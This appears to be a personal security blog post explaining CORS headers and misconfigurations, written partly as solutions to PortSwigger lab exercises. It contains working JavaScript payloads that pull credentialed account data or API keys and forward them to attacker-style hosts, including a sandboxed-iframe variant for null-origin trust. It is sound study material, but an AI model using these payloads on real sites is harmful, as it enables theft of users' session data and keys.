rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Understanding Cross Origin Sharing



CORS and Access-Control-Allow-Origin headers



Implementing simple cross-origin resource sharing


HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
null
*

Handling Cross Origin request with credentials


GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

Relaxation of CORS with wildcards


Access-Control-Allow-Credentials: true

Pre-flight Requests


OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Vulnerabilities on CORS


Server Side generated Access-Control-Allow-origin header from Client’s request


GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
	location='//malicious-website.com/log?key='+this.responseText;
};
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a23005b03c79d758046a3b900ae0022.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
      var data =  JSON.parse(this.responseText);
      var api_key =  data.apikey;
	location='//exploit-0aa200f703149d1080e1a274013200d6.exploit-server.net/?key='+api_key;
};
</script>
<meta name="referrer" content="never">
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

image


Error parsing Origin Headers


GET /data HTTP/1.1
Host: normal-website.com
Origin: https://innocent-website.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://innocent-website.com
*.sensei.com
normal-website.com
normal-website.com.evil-user.net

Whitelisted Origin Null value


<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
<!--Payload 2-->
<meta name="referrer" content="never">
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
      var req = new XMLHttpRequest();
      req.onload = reqListener;
      req.open('get','https://0ab300f00420f33881e289fd00e10007.web-security-academy.net/accountDetails',true);
      req.withCredentials = true;
      req.send();
      
      function reqListener() {
      var data =  JSON.parse(this.responseText);
      var api_key =  data.apikey;      
      location='https://exploit-0a6100780480f311814e8889018a000e.exploit-server.net/log?key='+api_key;
      };
      </script>"></iframe>

image


Exploiting XSS via CORS trust relationships


-Even “correctly” configured CORS establishes a trust relationship between two origins. If a website trusts an origin that is vulnerable to cross-site scripting (XSS), then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

Breaking TLS with poorly configured CORS